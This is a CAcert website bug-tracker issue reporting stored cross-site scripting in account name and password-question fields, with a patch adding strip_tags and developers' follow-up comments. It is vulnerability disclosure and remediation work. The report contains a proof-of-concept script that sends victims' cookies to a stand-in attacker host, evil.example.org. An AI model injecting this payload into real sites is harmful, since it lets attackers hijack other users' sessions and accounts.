View Issue Details

IDProjectCategoryView StatusLast Update
0000194Main CAcert Websitesource codepublic2013-11-20 22:23
ReporterbluecAssigned ToSourcerer  
PriorityimmediateSeveritymajorReproducibilityalways
Status closedResolutionfixed 
Fixed in Version2006 
Summary0000194: Don't trust the users
DescriptionCAcert is heavily vulnerable for Cross Side Scripting (XSS) attacks against other users, system administrators and board members.

1. Create a new account and set one field (eg. Middle Name) to

   <script> document.location = ' http://evil.example.org/steal-cookie.php?
                    cookies=' + document.cookie</script>

2. Get an assurer or sytem administrator to access your details.

3. The script part will be executed and the cookie (i.e. the session ID)
   will be sent to the attacker. This attacker will be able to assure as
   much as he likes using the victims account. If a sytem administrator
   or board member is attacked there might be even more damage possible.


This example is very simple and you would notice the stealing directly. But is is only a PoC and other JavaScripts might be more silent.

The bug has been successfully tested in the www.test1.cacert.at test interface.
Additional InformationSolutions/Workarounds:

As an immediate workaround _everyone_ should deactivate JavaScript when using the CAcert website. As soon as the Name of someone is displayed you can't be sure that it wasn't used to steal a cookie.

As soon as possible the source code should be changed to remove all html tags and maybe even all "'" from any user input to protect agains these kind of attacks.

Currently identified fields are:

name
mname
lname
suffix
all 5 lost password questions/answers

Theoretically there may be more fields like locations, DoB, ...


This bug might also be exploited indirectly by getting such an account assured and starting assuring others. They will see the modified name in their "My points" page and have their cookies stolen.
TagsNo tags attached.
Reviewed by
Test Instructions

Activities

2006-04-10 01:37

 

XSS_2006-04-04.patch (8,004 bytes)   
--- includes/account.php.original	2006-04-04 13:09:50.000000000 +0200
+++ includes/account.php	2006-04-04 13:40:30.000000000 +0200
@@ -884,23 +884,23 @@
 
 	if($oldid == 13 && $_REQUEST['process'] != "")
 	{
-		$_SESSION['_config']['user']['fname'] = trim(mysql_escape_string(stripslashes($fname)));
-		$_SESSION['_config']['user']['mname'] = trim(mysql_escape_string(stripslashes($mname)));
-		$_SESSION['_config']['user']['lname'] = trim(mysql_escape_string(stripslashes($lname)));
-		$_SESSION['_config']['user']['suffix'] = trim(mysql_escape_string(stripslashes($suffix)));
-		$_SESSION['_config']['user']['day'] = intval($day);
-		$_SESSION['_config']['user']['month'] = intval($month);
-		$_SESSION['_config']['user']['year'] = intval($year);
-		$_SESSION['_config']['user']['Q1'] = trim(mysql_escape_string(stripslashes($Q1)));
-		$_SESSION['_config']['user']['Q2'] = trim(mysql_escape_string(stripslashes($Q2)));
-		$_SESSION['_config']['user']['Q3'] = trim(mysql_escape_string(stripslashes($Q3)));
-		$_SESSION['_config']['user']['Q4'] = trim(mysql_escape_string(stripslashes($Q4)));
-		$_SESSION['_config']['user']['Q5'] = trim(mysql_escape_string(stripslashes($Q5)));
-		$_SESSION['_config']['user']['A1'] = trim(mysql_escape_string(stripslashes($A1)));
-		$_SESSION['_config']['user']['A2'] = trim(mysql_escape_string(stripslashes($A2)));
-		$_SESSION['_config']['user']['A3'] = trim(mysql_escape_string(stripslashes($A3)));
-		$_SESSION['_config']['user']['A4'] = trim(mysql_escape_string(stripslashes($A4)));
-		$_SESSION['_config']['user']['A5'] = trim(mysql_escape_string(stripslashes($A5)));
+		$_SESSION['_config']['user']['fname'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['fname']))));
+		$_SESSION['_config']['user']['mname'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['mname']))));
+		$_SESSION['_config']['user']['lname'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['lname']))));
+		$_SESSION['_config']['user']['suffix'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['suffix']))));
+		$_SESSION['_config']['user']['day'] = intval($_POST['day']);
+		$_SESSION['_config']['user']['month'] = intval($_POST['month']);
+		$_SESSION['_config']['user']['year'] = intval($_POST['year']);
+		$_SESSION['_config']['user']['Q1'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q1']))));
+		$_SESSION['_config']['user']['Q2'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q2']))));
+		$_SESSION['_config']['user']['Q3'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q3']))));
+		$_SESSION['_config']['user']['Q4'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q4']))));
+		$_SESSION['_config']['user']['Q5'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q5']))));
+		$_SESSION['_config']['user']['A1'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A1']))));
+		$_SESSION['_config']['user']['A2'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A2']))));
+		$_SESSION['_config']['user']['A3'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A3']))));
+		$_SESSION['_config']['user']['A4'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A4']))));
+		$_SESSION['_config']['user']['A5'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A5']))));
 
 		if($_SESSION['_config']['user']['Q1'] == "" || $_SESSION['_config']['user']['Q2'] == "" ||
 			$_SESSION['_config']['user']['Q3'] == "" || $_SESSION['_config']['user']['Q4'] == "" ||
@@ -974,9 +974,9 @@
 
 	if($oldid == 14 && $_REQUEST['process'] != "")
 	{
-		$_SESSION['_config']['user']['oldpass'] = trim(mysql_escape_string(stripslashes($oldpassword)));
-		$_SESSION['_config']['user']['pword1'] = trim(mysql_escape_string(stripslashes($pword1)));
-		$_SESSION['_config']['user']['pword2'] = trim(mysql_escape_string(stripslashes($pword2)));
+		$_SESSION['_config']['user']['oldpass'] = trim(mysql_escape_string(stripslashes($_POST['oldpassword'])));
+		$_SESSION['_config']['user']['pword1'] = trim(mysql_escape_string(stripslashes($_POST['pword1'])));
+		$_SESSION['_config']['user']['pword2'] = trim(mysql_escape_string(stripslashes($_POST['pword2'])));
 
 		$id = 14;
 		showheader(_("My CAcert.org Account!"));
--- www/index.php.original	2006-04-04 13:38:45.000000000 +0200
+++ www/index.php	2006-04-04 13:35:15.000000000 +0200
@@ -231,26 +231,26 @@
 
 		$_SESSION['_config']['errmsg'] = "";
 
-		$_SESSION['signup']['email'] = trim(mysql_escape_string(stripslashes($_REQUEST['email'])));
-		$_SESSION['signup']['fname'] = trim(mysql_escape_string(stripslashes($fname)));
-		$_SESSION['signup']['mname'] = trim(mysql_escape_string(stripslashes($mname)));
-		$_SESSION['signup']['lname'] = trim(mysql_escape_string(stripslashes($lname)));
-		$_SESSION['signup']['suffix'] = trim(mysql_escape_string(stripslashes($suffix)));
-		$_SESSION['signup']['day'] = intval($day);
-		$_SESSION['signup']['month'] = intval($month);
-		$_SESSION['signup']['year'] = intval($year);
-		$_SESSION['signup']['pword1'] = trim(mysql_escape_string(stripslashes($pword1)));
-		$_SESSION['signup']['pword2'] = trim(mysql_escape_string(stripslashes($pword2)));
-		$_SESSION['signup']['Q1'] = trim(mysql_escape_string(stripslashes($Q1)));
-		$_SESSION['signup']['Q2'] = trim(mysql_escape_string(stripslashes($Q2)));
-		$_SESSION['signup']['Q3'] = trim(mysql_escape_string(stripslashes($Q3)));
-		$_SESSION['signup']['Q4'] = trim(mysql_escape_string(stripslashes($Q4)));
-		$_SESSION['signup']['Q5'] = trim(mysql_escape_string(stripslashes($Q5)));
-		$_SESSION['signup']['A1'] = trim(mysql_escape_string(stripslashes($A1)));
-		$_SESSION['signup']['A2'] = trim(mysql_escape_string(stripslashes($A2)));
-		$_SESSION['signup']['A3'] = trim(mysql_escape_string(stripslashes($A3)));
-		$_SESSION['signup']['A4'] = trim(mysql_escape_string(stripslashes($A4)));
-		$_SESSION['signup']['A5'] = trim(mysql_escape_string(stripslashes($A5)));
+		$_SESSION['signup']['email'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['email']))));
+		$_SESSION['signup']['fname'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['fname']))));
+		$_SESSION['signup']['mname'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['mname']))));
+		$_SESSION['signup']['lname'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['lname']))));
+		$_SESSION['signup']['suffix'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['suffix']))));
+		$_SESSION['signup']['day'] = intval($_POST['day']);
+		$_SESSION['signup']['month'] = intval($_POST['month']);
+		$_SESSION['signup']['year'] = intval($_POST['year']);
+		$_SESSION['signup']['pword1'] = trim(mysql_escape_string(stripslashes($_POST['pword1'])));
+		$_SESSION['signup']['pword2'] = trim(mysql_escape_string(stripslashes($_POST['pword2'])));
+		$_SESSION['signup']['Q1'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q1']))));
+		$_SESSION['signup']['Q2'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q2']))));
+		$_SESSION['signup']['Q3'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q3']))));
+		$_SESSION['signup']['Q4'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q4']))));
+		$_SESSION['signup']['Q5'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['Q5']))));
+		$_SESSION['signup']['A1'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A1']))));
+		$_SESSION['signup']['A2'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A2']))));
+		$_SESSION['signup']['A3'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A3']))));
+		$_SESSION['signup']['A4'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A4']))));
+		$_SESSION['signup']['A5'] = trim(mysql_escape_string(stripslashes(strip_tags($_POST['A5']))));
 		$_SESSION['signup']['general'] = intval($_POST['general']);
 		$_SESSION['signup']['country'] = intval($_POST['country']);
 		$_SESSION['signup']['regional'] = intval($_POST['regional']);
XSS_2006-04-04.patch (8,004 bytes)   

duane

2006-04-21 07:01

developer   ~0000169

patch applied

approx 56 accounts matched, most instencies looked harmless/typo's but no scripts as far as I can see...

bluec

2006-04-21 18:05

manager   ~0000180

Thanks.

Maybe let someone else doublecheck that the entries in question are really typo's.

bluec

2006-04-24 05:16

manager   ~0000192

Changes not yet visible in tarball.

Sourcerer

2009-04-26 16:04

administrator   ~0001382

As far as I can see, this problem has been solved. Please review.

Issue History

Date Modified Username Field Change
2006-04-04 04:29 bluec New Issue
2006-04-04 21:42 bluec File Added: XXS_2006-04-04.patch
2006-04-10 01:37 bluec File Deleted: XXS_2006-04-04.patch
2006-04-10 01:37 bluec File Added: XSS_2006-04-04.patch
2006-04-21 07:01 duane Status new => closed
2006-04-21 07:01 duane Note Added: 0000169
2006-04-21 07:01 duane Resolution open => fixed
2006-04-21 07:01 duane Fixed in Version => production
2006-04-21 18:05 bluec Note Added: 0000180
2006-04-24 05:16 bluec Note Added: 0000192
2006-04-24 05:16 bluec Assigned To => bluec
2006-04-24 05:16 bluec Status closed => needs work
2009-04-26 16:04 Sourcerer Note Added: 0001382
2009-04-26 16:04 Sourcerer Assigned To bluec =>
2009-04-26 16:04 Sourcerer Status needs work => solved?
2010-07-07 08:29 Sourcerer Status solved? => closed
2010-07-07 08:29 Sourcerer Assigned To => Sourcerer
2013-01-14 03:08 Werner Dworak Fixed in Version => 2006
2013-11-20 22:23 NEOatNHNG View Status private => public